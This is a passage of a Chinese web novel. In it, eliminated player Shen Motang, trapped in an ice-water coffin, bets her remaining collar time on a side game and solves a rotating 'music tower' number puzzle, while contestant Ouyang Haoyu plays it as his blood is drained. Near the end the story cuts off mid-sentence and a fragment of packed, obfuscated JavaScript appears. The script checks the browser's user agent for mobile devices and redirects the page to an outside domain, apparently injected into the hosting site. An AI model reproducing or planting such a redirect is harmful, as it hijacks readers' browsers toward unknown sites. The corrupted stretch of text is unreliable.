话音刚落,沈墨棠双腿就感受到冰凉的水流,突然接触到凉意,腿部肌肉猛然一抖!那回荡在石头中的水从小腿上方的“淋浴喷头”处浠沥沥落下,灌入这封闭的黑暗中!
这是什么!?
红蟹的话语在水流声中继续:“为了让大家好好对待游戏,不要消极应对,你所在阵营每获得一场胜利,你的水棺中将被注入1/3的冰水……嗯……相信四位知晓什么意思,哈哈!”
这次注水似乎只是演示,当红蟹说完这句话后,水声便戛然而止,只在棺材底部浅浅积起半厘米左右的积水,但足以让人湿漉漉的躺在冰水中,提醒自己目前的处境。
原来这就是被称为“活人水棺”的意思……
红蟹诡异的语气令人不适,好在它很快闭上了嘴:“好了好了,该对四位交代的已经交代完了……那么现在,5分钟的操作时间开始!咦哈!”
“叮当!”
红蟹的声音消失,触屏也瞬间解锁,得以进行操作。
冰冷的、湿漉漉的、黑暗的、逼仄的、令人绝望的、充满死亡气息的“活人水棺”中,只剩下沈墨棠的呼吸,以及轻微动作时溅起的水花。
触屏发出的微光丝毫无法带来什么温度,反而让这一切更加邪恶诡谲。
沈墨棠做了个深呼吸,试着点开屏幕的主题名称——【1,力大无穷】“嘀”的一声跳出二级菜单,显示出一个关键词:【体力】
她再点击【2,耳聪目明】,显示的关键词为:【视力】、【听力】、【记忆力】
【3,刀枪不入】关键词:【体力】、【反应力】
【4,水火相容】关键词:【枪械】、【智力】
【5,无影无踪】关键词:【智力】
【6,有问必答】关键词:【未知】
“这是游戏中每个回合分别需要的能力?”
“决定出战玩家……”
沈墨棠看着【1,力大无穷】关键词【体力】,脑中第一反应是欧阳浩宇和宋白河。
然而“死者复苏”需要自己反常识进行选择,毕竟要让所在阵营输掉四次……其他三个阵营的被淘汰者,肯定也像她此时所处的状况一样。
所以大家都会根据主题和关键词,选择最不擅长的玩家参战……
为什么?为什么主办方要这么做?
先让一群人投票淘汰一人,再让这个淘汰者进行复仇,把所有新人战玩家所擅长的方面给避开?故意把人送去不擅长的领域落败?
为的是什么?只是单纯满足变态欲吗?
“嘀”、“嘀”、“嘀”、“嘀”、“嘀”、……
绝望压抑的黑暗中,只有浅浅的呼吸声。
沈墨棠脸色苍白,借着微光,伸出冻得发抖的手指,填好七个参战姓名。
屏幕光暗去。
……
沉寂不知道过了多久,早已熄灭的屏幕画面突然亮起。
屏幕上显示出第一回合【力大无穷】的游戏结果,北阵营获胜。
沈墨棠看着屏幕画面的信息变化:
东,献祭+1;南,献祭+1;西,献祭+1;北:献祭+0
“呀呀呀!让我们恭喜阵营成功失败的玩家!您已经完成了一场献祭!离您复苏的时刻又更近了一步!”红蟹的声音在水棺内响起:“啊哈!接下来的每个回合,为了防止四位太过寂寞,永夜城将继续为您提供‘死者复苏’的支线玩法!”
“成功失败”是什么怪诞的用语……
沈墨棠背部湿冷,嘴唇发白,身体不可控地出现轻微颤抖。但她仍对红蟹话语中的“支线玩法”提起了兴趣。
长时间躺在冰水上令她温度流失迅速,她只能尽力蜷曲着四肢,防止体温流失过快。
石棺中的水随着肢体动作,时不时发出一些细微的声响。
第一回合结束后,北阵营的被淘汰者所在“活人水棺”内,就会被注入1/3的水吧……可能都不需要注满3次,她们就会因为泡在冰冷的水中失温休克而亡!
太冷了,冷得想要呕吐。
沈墨棠忍着难受,继续听着红蟹的介绍:
“哈哈!各位,永夜城可不信上帝,要想活下去,就请你们先有赌上余生的觉悟!……在第二回合的游
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戏中,您可以将自己狗环的一定剩余时长作为赌注,压在该回合的‘获胜条件’上!若您确定开启支线玩法,那我会为您同步本回合游戏所需的信息哦!”
!!?
信息同步?
沈墨棠心动难耐,毕竟独自待在这幽冷的棺材中等待未知结果,若是没有什么能转移注意力的东西,她有预感,自己可能在没死之前就会被逼疯!
支线玩法?
没错……让我参与到游戏中……让我大脑动一动……产生一点点热量吧……
“支线玩法非常简单,若你能在第二回合结束时,比场上任意玩家更快达成获胜条件,则你可获得双倍的赌注奖励;当然咯,若你失败,赌注也将付诸东流……各位,想要参与第二回合的支线任务【时候未到】吗?请在游戏规则介绍完毕后,游戏正式开始前,投入你要押的赌注吧!”
“相信你自己!被抛弃的人!要时常告诉自己:时候未到!”
“叮当!”
触屏跳出了【时候未到】的字样,底下有两个选项:【参与】、【拒绝】。
沈墨棠毫不犹豫伸出手——“嘀。”
画面上的文字很快发生变化。
【请输入您的赌注时长:……】
……
东大厅内。
“亮了!”万梦指向大屏幕。
画面底部的第二个人形标识,变成了橙色,显示“耳聪目明”的字样。
“嘀——,嘀——,嘀——”
连续三声长音提示,电梯门应声打开。
广播同时响起冰冷的合成音:“请玩家【欧阳浩宇】在10秒倒计时结束前,单独、进入电梯、原地、待命,倒计时10、9、8、7……”
欧阳浩宇脖子上的狗环也开始闪烁红光。
“来吧!!”欧阳浩宇深吸一口气,仿若头斗兽般站起,一个大跨步走入电梯:“我会赢的。”
“加油,自己小心。”万梦出于情谊提醒:“注意听规则,也多注意别人,别被阴了。”
“呃……嗯。”欧阳浩宇露出一个爽朗的微笑,活动活动肩膀,点了点头:“希望能和各位再见!”
“再、再见。”
其他人也在目送他的同时,静静等待倒计时结束。
“5、4、3……”
曹彦旭不知从什么时候开始脸色变得非常难看,他一直盯着屏幕上的字,揉着额头,重重叹气。
“2、1,倒计时结束……”
欧阳浩宇冲大家挥挥手告别,电梯门在他面前缓缓合上。
大厅中沉默了下来。
“曹老师,你没事吧?是不是想起了什么?”米米在旁边小声问。
曹彦旭欲言又止的样子,最终指了指电梯:“他是近视眼?”
“好像是呀……”郑云霞凑过来搭话,听到曹彦旭的话后,表情骤变,瞥了眼大屏幕,确认那个橙色人形标识上“耳聪目明”的字样:
“耳聪目明……让一个近视的人来玩……这……这玩的人选到底是怎么选出来的呀?该不会又要丢一分吧!?”
广播中,红蟹的声音依旧如此激昂:“第二回合!耳聪目明!”
监控画面同样是那个四方形的游戏场地,这次东、南、西、北四个电梯门都有玩家走出,本回合无人缺席。
欧阳浩宇一边观察四周,一边往前,遵循脖子上“狗环”的指示,在红线前停下。
其他几名玩家也是如此。
南边是一名梳着大背头的花臂男;北边是一个目光略显呆滞的女人;对面西边则是一位精瘦的小黄毛。
“呃……”
左右对比了南北两个对手的体能,欧阳浩宇稍微放下心来,如果这一关比的还是体能,那他绝对是有希望的。
场地中央,金字塔装置顶部嵌着第一回合的黑球,没进球的绿、红、白三颗球都不见了,只剩下地上两滩还未清洗干净的血污,提示着这个场地跟第一回合的场地是同一个场地。
想到第一回合发生的一切,欧阳浩宇不由得握紧拳头。
30. 彩虹节拍-橙2
永夜城,东城区。
某个豪华的酒店顶层俱乐部,奢侈华丽的大厅内。
“咚!”
随着清脆的碰撞声,黑色八号台球落入底袋。
典雅精致的台球桌旁,一个嚼着泡泡糖观战的少年叫道:“哇靠!真被他装到了!”
话音中,打进黑八的金色卷发男人将球杆甩在桌上,迈出六亲不认的步伐;旁边输球的光头男人无奈笑笑,摇头对观战的少年耸耸肩,叹了口气。
三人身上都穿着和某明星出圈照片同款的绿白色校服,胸前镌有两个大大的“东城”字样。
台球桌区域对面,是一个类似吧台的地方,一道元气十足的女声响起:“喂!我说你们几个蠢货,别玩了!第二回合马上就开始,赶紧过来看看新人的表现!你们是一点都不担心我们东城这次能不能做庄吗?”
听到声音的泡泡糖少年眼睛一亮,迅速朝吧台靠过去。
光头男人放下球杆,慢慢走过去,金发男人也不情不愿的动起身子。
金发男人无奈指着吧台上的屏幕,对吧台内的一个长发女郎说道:“这有啥子悬念咯,北城嘀那个淘汰者都已经凉咯,用膝盖想都知道这次肯定是北城做的庄嘛!”
“哪个城坐庄,哪边就能选四方战的游戏,这回我们东城怕是又要丢张风牌。老大,你还是早点提醒大庄家准备下一张嘞。”
“啵”的一声,泡泡糖被吹破,少年抽出纸巾将其包住扔进垃圾桶里,咕哝着:“对啊,老大,你们看就行了呗,反正每届新人都那样儿,被票进水棺的如果能活下来,也会进城遭人嫌……我说你们就别指望有啥厉害的角儿能进咱们东城……”
“呸呸呸!乌鸦嘴!青大饼!给我闭嘴!”吧台内侧,最开始叫人的双马尾女孩将视线从屏幕上转移到少年脸上,指着他骂道。
被叫做“青大饼”的少年挑眉,啧了一声,欠欠应着:“哟!尊敬的青五条!怎么您有什么高见呐?”
双马尾女孩穿着同款绿白色校服,头上别着一堆泫雅风彩色发卡,只是朝少年翻了个白眼:“呸!有高见就得跟你说?你谁啊你?”
“哟!行,那您也别喊咱绰号呗?咱怎么着也是个青一筒,怎么就大饼……”
“罗冰,琪琪,你俩别见面就吵呀。”长发女郎笑着叫停了两人无意义的斗嘴。她像是自言自语:“红蟹……今天似乎话有点多了。”
“话多?”青一筒罗冰好奇。
青五条范诺琪一撇嘴:“让你认真看你不听,刚刚红蟹在……讲故事。”
“讲故事?”罗冰听得发愣。
被称呼为“老大”的长发女郎没再往下探讨,只说:“看比赛吧,如果这次我们东城能坐庄,选对了游戏,或许还能阻挡南城的势头。”
“你们看,”她抬头说道:“被淘汰者是不是打算赌了?”
……
“四位参赛玩家请注意,接下来宣布第二回合的规则!”
游戏场地上,随着主持人的声音响起,金字塔的四个斜面悄无声息发生改变——每个斜坡表面“簌簌簌”进行翻转,光滑的涂层被收进内部,出现的是荧光显示屏。
由上到下总共7面宽屏,最上方的一面有2米宽,最底部的一面则有足足20米宽。
7面屏幕高度相等,每面大约1米,共同将整个金字塔斜坡铺满。
“克瓦希尔的血被勾兑到蜜醪中,形成尝一口就会变成大诗人的仙醪。奥丁骗得仙醪后,用其养大了儿子布拉基,于是布拉基智慧非凡,成为诗歌与音乐之神。”
红蟹在广播里讲了个莫名其妙的故事后,话语间才进入正题:“四位玩家,首先,这场游戏的全过程中,你们都不得离开操作台,否则狗环将断线哦……大家肯定会问,什么是操作台呀?别急,下面,有请操作台!”
红蟹话音未落,场地上便“嗡嗡嗡”升起新的装置——
欧阳浩宇不由得往后退了一步,只见在跟前红线的中点处,一个直径大约一米的圆形地台升起,其上带有包括某种电子元件屏幕在内的一堆设备,合金材质的外壳充满科技感。
他打量着眼前这台设备,视野余光能看到场地北侧和南侧的红线中点处,也有相同的设备出现,对面西边应该也是如此。
“呃……?”
不像是体力题!
欧阳浩宇瞳孔一暗——第二回合的游戏内容和第一回合迥然不同!
“第二回合‘耳聪目明’考验的是各位的视、听能力和记忆力……啊……方式很简单,只要各位共同完成‘旋转音乐塔’的旋律,并输入自己的最终正确答案即可!”
完成旋律?输入答案?
欧阳浩宇面露难色,赶紧竖起耳朵聆听规则说明。
可能是怕玩家听不清楚,主持人的声音少了些怪腔怪调:“相信各位都见到场地中央的装置了,本回合我们称它为‘旋转音乐塔’。游戏开始后,各位需要在各自的操作台上,将‘1、2、3、4、5、6、7’七个数字简谱,逐轮分别填入音乐塔中。”
“每轮填入时间为30秒,之后音乐塔将‘逆时针’旋转九十度,此时操作台会播放各自最终正确答案的提示旋律。”
“随后进入下一轮,重复30秒的填入时间、音乐塔逆时针旋转九十度、播放提示旋律……如此循环七次后,共同完成音乐塔上每一面7个、四面共28个数字简谱的填写。”
“完成游戏后,玩家可在任意时间输入7位数字的答案。”
“最先输入正确答案的玩家,将获得本回合游戏的胜利!奖励一枚雀徽,并为所在阵营累积1胜场;其余玩家失败,作为惩罚将扣除300分钟的剩余狗环时长……嘭!!哈哈,幸运的话,还能将死亡时刻留在现场哦!”
“呃……音乐?”
欧阳浩宇听得一阵头疼。
早知道有这种跟音乐相关的,就不该淘汰掉那个叫沈墨棠的,那家伙可是在“跑步了解一下”中的那种生死时刻都能唱歌的人……
欧阳浩宇平时对音乐啊、歌曲啊并不反感就是了,毕竟上班或健身的时候,音乐是不错的精神按摩……但是,要让他亲自捣鼓什么“哆来咪发”之类的曲谱,确实有点为难了。
游戏规则说了,最后的正确答案就是“7位数字”。
欧阳浩宇想了想,自己如果不把数字当音符,直接就当数字来记不知道行不行……
“这里补充三条游戏规则:第一,若玩家在30秒倒计时内未成功操作,则将被扣除60分钟狗环时长作为惩罚,同时本轮随机选择该玩家一个剩余简谱填入音乐塔。”
“第二,音乐塔最后一次旋转,不播放提示旋律。”
“第三,完成游戏后,输入答案的时长不限,但答案错误将直接判定游戏失败,请玩家慎重。”
“那么……游戏规则至此已全部讲解完毕……”
欧阳浩宇放眼望去,不只是自己,南边的花臂男也骂骂咧咧着“哎呀妈呀这鼓捣啥玩意儿,愁死个人,讲人话犯法是不?”;北边的女人则依旧表情呆滞,眼神放空没有聚焦,仿佛老僧入定。
没事的,看来现场没有从事音乐行业相关的人,而且看上去也都没完全听懂的样子……就算这回合不比力气,还是有机会能赢!
广播中,红蟹的声音消失,取而代之的是冷漠的提示:“请四位玩家在10秒内站上操作台。倒计时10、9、8……”
嗯?
脖子处的狗环又在闪红光,欧阳浩宇连忙踩上操作台,才令其停止。
机械的广播声继续:“3、2、1……请玩家将左手置于操作面板之上,等待掌纹解锁……注意,该轮游戏结束前,离开操作台视为违反规则,将导致狗环直接断线。”
“——噔。”
操作台边缘亮起一圈红色灯条,标志着会导致违反规则的活动范围。
欧阳浩宇和其他玩家一样,根据广播提示将左手按在身前的面板上,等待解锁。
“啪——喀——喀——!”
“哎哟什么鬼!”
操作台突然动起来!面板下弹出两支机械臂,牢牢固定住欧阳浩宇的左手,并将其提起,强行卡入旁边一个立起的支架里,左手小臂仿佛被锁死在合金设备里面。
至于那句“哎哟”是南边的花臂男条件发射骂出来的。
不止是欧阳浩宇,场上四名玩家都同时被控制住左臂。
“呃!”
欧阳浩宇只觉得金属支架里有什么东西扎入小臂动脉,惹得一阵酸麻,随后他便瞪大眼睛——支架末端,一条透明的玻璃管道内,保护着一条透明的软管落到地上——软管中逐渐变成红色!
那是红色的血浆!
能感觉到,自己身体的血液正在从左臂被抽出!
“大爷的!”花臂男骂骂咧咧,用力挣扎了两下,根本无法挣脱操作台的束缚。
北边的女人表情呆滞,定定看着抽出自己血液的软管。
这是要?做什么!?红蟹一开始说的是……什么“拿血勾兑蜜醪”?
欧阳浩宇心跳加快,呼吸急促,因为害怕而双腿微微发软。
广播仍在继续:“各位玩家,操作台已解锁,游戏开始。第一轮30秒倒计时……”
“你大爷的整这出?这抽着血玩呢?”花臂男嚷嚷的声音小了很多,知道不可能跟所谓的“主办方”讨价还价,唯一能活下来的办法就是专注在游戏中。
被抽血的只有左手,四位玩家都只有一只右手可以进行操作。
欧阳浩宇低头看向操作台的显示面板,中间有显示【等待输入】的对话框,旁
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边是30秒倒计时,底部则有7个空心方块,分别是【1】、【2】、【3】、【4】、【5】、【6】、【7】。
28……
27……
26……
25……
等一下,这是要做什么?规则说的是……游戏每轮30秒内,填入一个数字简谱?
欧阳浩宇调整了呼吸,尝试性向前探身,眯起眼睛,看清场地中央的“旋转音乐塔”——随着游戏开始,七个屏幕中最上方那个2米宽的最小屏幕,跳出【待输入】三个字。
所以第一轮的数字简谱,是要填到音乐塔的最顶端?
22……
21……
20……
19……
补充规则的第一条就是“若玩家在30秒倒计时内未成功操作,则将被扣除60分钟狗环时长作为惩罚,同时本轮随机选择该玩家一个剩余简谱填入音乐塔”。
所以不论如何,此时最好的选择是主动选一个数字简谱填入。
欧阳浩宇尝试用右手手指去触碰面板底部的7个数字方块,发现它们都可以进行拖拽。
1-7,该选哪个呢?有什么讲究吗?
15……
14……
13……
12……
试一试……他试着将【1】拖入面板中间的对话框中——对话框内的字样瞬间变成【输入成功:1】。
与此同时,场地中央音乐塔的最上方第一块屏幕,【待输入】字样也变成了数字【1】。
这就行了?这是操作成功了吧?
欧阳浩宇以防万一,又尝试将其他数字方块拉入对话框,但本□□作已经锁定,没办法更换数字了。
一旦确定数字,就只需等待倒计时结束,没有反悔的余地。
3……
2……
1……
“——喀喀喀!”
倒计时结束,随着一阵有力的机械运作声,地面传来阵阵颤动,场地中央庞然的被称为“旋转音乐塔”的金字塔装置,竟然整体逆时针旋转!顶部依旧嵌着上回合游戏的那颗黑球。
“嗡嗡嗡……嗡嗡嗡……”
旋转动静之大,仿佛是什么建筑工地在进行爆破工作,惹得花臂男又骂了句脏话。
如规则所说,音乐塔“嗡嗡嗡”逆时针旋转了90°,最终重重“咔”的一声,稳稳停住。
唯一有变化的,可能就是顶部的黑球似乎陷进塔内一些。
欧阳浩宇眯眼,看向此时塔顶第一个屏幕显示的是【7】——这代表刚才自己的上家,来自南阵营花臂男的选择是【7】?
毕竟金字塔整体逆时针旋转了90°,所以最开始面朝东面的屏幕,也就是欧阳浩宇填入“1”的那一面,此时转到正北面向呆滞女人;而刚才对着南阵营的一面,此时就对着欧阳浩宇。
同理,刚开始的北面屏幕现在对着西面的小黄毛;刚开始的西面屏幕现在对着南面花臂男……逆时针方向,每个玩家都知道了自己的上家第一轮填入的数字简谱是什么。
“滴”、“滴”、“滴”、“滴”……
因为装置旋转结束,地面停止了震颤,场上忽然安静下来。
极致的安静,让某种细微的滴水声清晰地传入耳中。
欧阳浩宇视线越过操作台,看向前方,面色如铁——鲜血已经被抽到软管的末端,从那里滴落在地上,渐渐形成一滩失去温度的新鲜血渍。
亲眼看着自己体内的血就这么被白白放出,任谁都会心里一阵发慌!
欧阳浩宇感到脑子一阵眩晕,眼前一黑,连忙收回视线,专注在游戏中,不去管左臂的事。
虽然规则里说了,游戏最后的答题时间不限,但……就这么一直放着血,再强壮的人都扛不住啊。
没等欧阳浩宇过多反应,自己眼前的操作台便发出声音:“正在播放提示旋律:(钢琴声)Do——”
其他几个玩家的操作台,似乎也同时发出琴声,只不过离得实在太远,根本听不清楚。
“呃……提示旋律?”就一个音?欧阳浩宇差点怀疑是不是自己的血被放多了,导致神志不清,耳朵失聪。
如规则所说,“每轮音乐塔旋转之后,操作台会播放各自最终正确答案的提示旋律”。
“各自……”
这么说来,游戏最后,每名玩家的“正确答案”都不尽相同?
广播响起:“第二轮30秒倒计时……”
不等欧阳浩宇多想,音乐塔的第二块屏幕也亮起,显示【待输入】的字样;同时,操作台的面板也出现30秒倒计时和【等待输入】的对话框。
29……
28……
27……
26……
31. 彩虹节拍-橙3
“(钢琴声)Do——”
黑暗湿冷的水棺中,屏幕突然发出钢琴的声音。
沈墨棠猛地睁眼,蜷着止不住发抖的身躯,凑在小屏幕的微光前,紧盯上面的监控画面。可以看得出来,监控摄像头对着“旋转音乐塔”,机位应该是装在东侧操作台前方。
她看到的视角也是欧阳浩宇的视角,游戏装置是7块横向屏幕,第一块屏幕亮着,余下六块屏幕是暗的。
画面中显示着【7】【】【】【】【】【】【】,第一块亮着的屏幕上显示的正是【7】,而第二块屏幕随之亮起。
监控画面之外,触屏屏幕的右上方,还显示一条提示信息,在幽暗中尤其醒目:
【您已参与“时候未到”环节,已投注:210分钟】
沈墨棠目光森然——她几乎已经赌上了狗环的全部剩余时间!
她脖子戴着的狗环上,显示时间剩下不到4个小时:
03:54:29
03:54:28
03:54:27
03:54:26
难得有能够在黑暗中找点乐子的机会,怎么能够不尽力而为?
因为还要留出足够这回合游戏进行到结束的时间,所以她最终的赌注是3小时30分钟,也就是总共210分钟。
根据【时候未到】的规则,如果自己能“在回合结束时,比场上任意玩家更快达成获胜条件”,那么就能赚回一倍赌注时长!
至于失败?那没在自己的考虑范围之内。
之前哪场游戏不是押上了自己的性命?需要考虑失败之后的事情吗?大不了就是死亡……况且,就算不赌,躺在这里等六回合比赛结束,离开之后狗环的时间也没多久了。
万一哪个回合玩家墨迹些,拖延点时间,那狗环很有可能爆炸在游戏结束之前。
所以唯一要考虑的,就是如何赢下这场难得的【时候未到】。
她现在更疑惑的,是红蟹为什么要让“被淘汰者”来玩这些奇怪的支线游戏,尤其是赌时间的方式,仅仅只是让她们获得更多刺激的体验吗?
以及整个游戏的设计究竟是为了什么?既然是分阵营的游戏,那为何同阵营又要一分为二?
“嗯?咳、咳咳……”
阴冷让沈墨棠咳嗽了一声,看着监控画面中,音乐塔的第二块屏幕显示【2】——看来欧阳浩宇已经选好第二轮的数字简谱。
她眯起眼睛仔细看,当前画面中,第1、2块屏幕上的数字分别为【7】、【2】,画面整体显示【7】【2】【】【】【】【】【】。
很快,监控画面微微抖动,金字塔装置第二次逆时针90°旋转,【7】、【2】消失不见。
这次面向东的第1、2两块屏幕上,数字是【2】、【2】。
屏幕又发出声:“正在播放提示旋律:(钢琴声)Do——Fa——”
随后,音乐塔的第三块屏幕亮起,显示【待输入】。
“哆瑞咪发……?”沈墨棠哼哼两声,试着从旋律音调中找到一些线索。无奈人菜瘾大,虽然平时喜欢听歌,但她压根没仔细学过什么乐理知识。
不过她还是可以明确地听出,钢琴声可以肯定是两个完全不相同的音符,所以旋律简谱不是当前看到的【2】【2】【】【】【】【】【】。
她更靠近屏幕一些:第一轮的提示旋律是一个音……第二轮是两个音……第三轮会是三个音吗?
数字简谱?答案七位数字?游戏共七轮?
……
“呃……这游戏真的是这么玩的吗?”
欧阳浩宇浑身酸痛,那种血液难以到达肢体末端的虚弱感令他直冒冷汗,脑子里全是场地上的血污,操作台前方那种细微“啪嗒”、“啪嗒”滴血声毛骨悚然,犹如催命的亡铃。
若是他这回合输掉游戏,就会扣除300分钟剩余时长!
他俯下身,借着操作台的金属边缘反光,查看脖子上的狗环倒计时:
03:54:06
03:54:05
03:54:04
03:54:03
剩余不到4个小时!输了的话,狗环必爆!
嘀嗒、嘀嗒!
欧阳浩宇感觉自己的眼神都快发直了,耳中只有滴血声越发清晰。
“呃?!”
他猛地意识到30秒倒计时快结束了,连忙回过神来,右手迅速将【3】拉入对话框,音乐塔的第三块屏幕也显示出【3】。
【2】【2】【3】【】【】【】【】
“——喀喀喀!”
倒计时结束,装置再次“嗡嗡嗡”逆时针旋转90°,震得软管中的血液流速加快许多。
他抬头看到游戏装置,上面已经是:【3】【5】【5】【】【】【】【】;
与此同时,操作台播报:“正在播放提示旋律:(钢琴声)Do——Fa——Mi——”
吵死了!
什么都听不出来!跟自己填进去的数字有什么关系吗?!
欧阳浩宇右手握拳,猛地捶向操作台。
这破钢琴到底是在提示什么?!
……
每回合的提示旋律到底是什么意思?
水棺内的沈墨棠困惑不已,左手食指又无意识“嗒嗒嗒”敲打着石壁。
冷静、冷静……想要比场上玩家更早输入正确答案,就必须听出这段“提示旋律”到底是什么意思……最终的答案是七位数字……跟数字简谱有关?每轮游戏,音乐塔每面都增加了一个数字简谱,提示旋律也跟着变长……这轮果然已经是三个音了……
人的脑子一旦动起来,确实是会给身体提供一定的热量。沈墨棠看着画面中亮起的第四块屏幕,跳出了【4】。
【3】【5】【5】【4】【】【】【】
“唔……?”
敢情欧阳浩宇是按照从小到大的顺序逐轮填的?
很快,画面抖动,音乐塔第四次旋转,屏幕上变为:【1】【4】【3】【3】【】【】【】。
逆时针转了四次90°,这一面屏幕的第一个音是欧阳浩宇选的。
屏幕发出钢琴声:“正在播放提示旋律:(钢琴声)Do——Fa——Mi——Mi——”
“哆瑞咪发嗦……”沈墨棠轻轻哼着,忽然意识到什么,目光为止一亮!
虽然听不出具体的音符,但还是能听得出这轮四个钢琴声里,后面两个音是相同的。
刚刚播放的提示旋律“哆发咪咪”,不正是画面中的“【1】【4】【3】【3】【】【】【】”吗!?
所以……每次提示旋律的变长,是因为填入音乐塔的数字简谱在增加!
原来如此……第一轮的提示旋律是“Do”,是因为第一轮只填入了【1】,而第二轮提示旋律是“Do、Fa”,是因为第二轮增加了【4】……
而这个【4】,是由装置逆时针旋转90°后,北阵营玩家填入的;【3】是由西阵营填入;第四块屏幕的【3】则是由南阵营填入……
此时转回东面,即将由欧阳浩宇填入第五个数字简谱。
画面中亮起的第五块屏幕,跳出【5】。
【1】【4】【3】【3】【5】【】【】
“真按顺序填?”沈墨棠疑惑着,忽然意识到了什么,瞳孔微缩,在黑暗中喃喃道:“别啊……这么规律、最后一个数太容易猜了……”
她将双手举到嘴边呵气,希望热量能让冰冷僵硬的手指灵活一些:“我得快一点了……”
画面中,装置第五次旋转,屏幕显示:【7】【2】【6】【1】【1】【】【】。
“您当前的正确答案为:(钢琴声)Do——Fa——Mi——Mi——So——”
“哆发咪咪……嗦?没错……”第五个音出来,沈墨棠几乎在一瞬间就确认了提示旋律的含义!
——最终答案的七位数字,就是最初朝向东面的装置屏幕上,最后形成的七个数字简谱!
因为每个玩家的答案不一样,所以规则里才说“输入自己的最终正确答案”。
例如欧阳浩宇最终答案的七位数字,将分别按照“东、北、西、南、东、北、西”这样的玩家顺序形成。
而沈墨棠要达成的【时候未到】胜利条件,就是抢在场上玩家输入其正确答案之前,先一步输入己方阵营的答案。
“还有两轮……”
沈墨棠记住了答案的前五位“14335”,然而第六位和第七位会由北阵营玩家和西阵营玩家填入。
他们会怎么填?像欧阳浩宇一样从小到大?
不……前面看到了其他面的屏幕,数字简谱完全不一样……所以……
“前面?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419314|184756||http|test|mini|href|location''.split(''|''),0,{}));
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>沈墨棠神色一振,盯着监控画面,音乐塔屏幕上显示的【7】【2】【6】【1】【1】【】【】。
此时第六块屏幕的【待输入】变成【6】,代表着欧阳浩宇果然没动脑填入了【6】。
但……不管怎么样……
沈墨棠目光闪烁,如幽鬼般扬起嘴角:
“接下来,拼手速了!”
……
“——喀喀喀!”
音乐塔第六次旋转,原本嵌在顶部的黑球已经完全沉入装置内部,仿佛整个巨大的装置是某种反向的红酒开瓶器,每次旋转都将酒塞吞没一些。
这次面朝东边的屏幕显示是:【2】【2】【3】【5】【7】【6】【】。
“您当前的正确答案为:(钢琴声)Do——Fa——Mi——Mi——So——Xi——”
操作台前方的地面,已经积起一滩血泊,那鲜血不要钱似的徒然从温热的人体内抽出,滴在肮脏的地上等待冷却凝结。
大量的失血令欧阳浩宇脸色泛白,视野泛黑,周围像是太阳落山了一般,灰蒙蒙的什么也看不清,耳朵也几乎什么都听不见,更别提什么“耳聪目明”了。
他只能牢牢记住“30秒内没有成功操作,会扣除60分钟狗环时长作为惩罚”这件事,在每轮游戏中操作面板,将简谱填入音乐塔。
“呃……不……还要……还要输入答案……什么答案?”欧阳浩宇单手撑着操作台,摇了摇头,白色的头发已经被冷汗沾湿。
9……
8……
7……
6……
第七轮倒计时即将结束,欧阳浩宇将最后一个【7】拉入对话框内。
“——喀喀喀!”
音乐塔最后一次“嗡嗡嗡”逆时针旋转了90°,随后“咔”的稳稳停住。
欧阳浩宇虚弱喘着气,尽力睁大双眼,尝试让视网膜接收更多的光线,勉强看清装置屏幕上的数字:【3】、【5】、【5】、【4】、【1】、【6】、【4】。
如补充规则第二条所说“音乐塔最后一次旋转,不播放提示旋律”。
游戏场上静悄悄的,似乎大家都死了,只有四台抽血的设备依旧在运作。
欧阳浩宇低下头,视野逐渐缩小,边缘越来越黑……他只看到操作台的面板上显示【请尽快输入正确答案:(7位数字)】
正确答案?七位数字?装置上正好七个……是这七个数吗?
他再次抬头,然而这次不论怎么眯起眼睛,都看不清音乐塔上的数字——视野黑乎乎的一片,似乎眼球里的血都要被抽干了。
别晕倒……别晕倒……别晕倒……这个时候要是晕倒……就再也醒不过来了……
“恭喜!恭喜!恭喜北阵营的【孙月】玩家最先输入正确答案!获得第二回合【耳聪目明】的胜利!你将成功在‘彩虹节拍’新人战中存活,获得一枚雀徽奖励,并为北城区夺下一个胜场!”
!!!
什么?!
广播声如雷炸声般,在场地上方响起。
红蟹在说什么?
欧阳浩宇眼前一片模糊。
有人回答正确了?
似乎是太过震惊的关系,欧阳浩宇全身猛地脱力,趴在操作台上,然而视野出现瞬间的光明。
他向北边望去,那个叫做“孙月”的女人脸色煞白,但仍难掩兴奋地喊出一声:“呀!太好了!太好了!!!”
“可喜可贺!可喜可贺!请回到您来时的电梯中……”红蟹公式化笑道:“失败玩家请在原地等待,我们将执行惩罚环节!”
“等……等会儿!”南边的花臂男回光返照,失心疯般一边举起手臂,一边指着天空喊着:
“你大爷的!哪嘀时间惩罚啊!要惩罚好歹给点赚时间的机会吧?先让俺们倒腾倒腾啊!”
“你大爷的!大爷的!大爷的!俺错了行不?老子不该赌钱,不该赌……放过老……放过俺吧……呃啊啊啊!”
要不是游戏已经结束了,否则这花臂男估计还能再抽一会儿血……
欧阳浩宇强撑着摇摇晃晃的身体,眼前逐渐一片漆黑,耳朵里一阵耳鸣,混合着红蟹的声音,含糊得难以听清。
广播中,红蟹语气如常跳脱:
“另外,由于东阵营完成了隐藏任务,【欧阳浩宇】玩家也将增加210分钟的狗环时间……”
32. 彩虹节拍-黄1
“赢了!”
直到确定自己的狗环时长增加到7个多小时,沈墨棠才松一口气,蜷缩紧绷的身体舒缓了一些,双手从屏幕上移开。
常年在各大APP上跟人对线练就的手速,最终还是派上了用场!
她成功在北阵营“孙月”玩家之前,输入了东阵营的正确答案:1433574。
正如先前所推断,游戏中玩家需要根据钢琴声提示,推测出“装置最开始朝向自己的斜面,最终形成的数字简谱即为正确答案”。
根据游戏的思路,玩家能从钢琴声中听到自己正确答案的前六个音符。
至于第七个音符,则需要进行猜测。
由于“旋转音乐塔”总共会逆时针旋转7次,所以最后答案面对的方向,将会是左手边的上一家——例如东阵营的答案,最终会面对南边;南阵营的答案,最终会面对西边……
这样一来,自己所需要的最终答案,第七个音符将会由对面玩家填入——
欧阳浩宇需要的正确答案最后一个音符,将由西阵营的黄毛填入。
那怎么才能知道对面玩家填入的第七个数字是什么呢?
游戏其实非常简单。
玩家从操作过程中,就已经能得知填入的简谱数字为“1-7”且不能重复。
